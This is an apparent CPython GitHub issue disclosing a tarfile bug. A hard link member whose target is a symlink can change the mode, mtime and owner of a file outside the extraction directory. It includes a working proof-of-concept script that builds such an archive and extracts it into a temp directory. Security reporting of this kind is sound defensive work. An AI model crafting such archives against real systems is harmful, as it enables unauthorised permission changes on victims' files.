Skip to content

tarfile applies a hard link member's attributes through a symlink extracted in its place #160297

Description

@gpshead

Bug report

Bug description:

When a hard link member's target is not on disk, tarfile extracts a copy of the member it refers to instead. If that member is a symlink, the copy is a symlink, and _extract_member() then applies the hard link member's owner, mode and mtime with os.chown(), os.chmod() and os.utime(), which follow it. With filter='tar' or filter='fully_trusted', whoever supplies the archive can set the mode and mtime (and, when extracting as root, the owner) of an existing file or directory outside the destination. filter='data' rejects this archive with LinkFallbackError.

import io, os, tarfile, tempfile

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tar:
    sym = tarfile.TarInfo('a/sym')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '../private'
    tar.addfile(sym)
    lnk = tarfile.TarInfo('x')
    lnk.type = tarfile.LNKTYPE
    lnk.linkname = 'a/sym'
    lnk.mode = 0o755
    lnk.mtime = 86400
    tar.addfile(lnk)

with tempfile.TemporaryDirectory() as tmp:
    private = os.path.join(tmp, 'private')
    os.mkdir(private, 0o700)
    buf.seek(0)
    with tarfile.open(fileobj=buf) as tar:
        tar.extractall(os.path.join(tmp, 'dest'), filter='tar')
    st = os.stat(private)
    print(oct(st.st_mode & 0o777), st.st_mtime)

This prints 0o755 86400.0. A plain symlink member x -> ../private leaves the directory at 0o700 with its original mtime, and a hard link to a symlink should do the same. The os.chown() part was not run (it needs root). gh-157190 and gh-151558 fixed neighbouring paths in the same fallback.

CPython versions tested on:

CPython main branch

Operating systems tested on:

Linux

Linked PRs

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

stdlibStandard Library Python modules in the Lib/ directorytype-securityA security issue

Projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions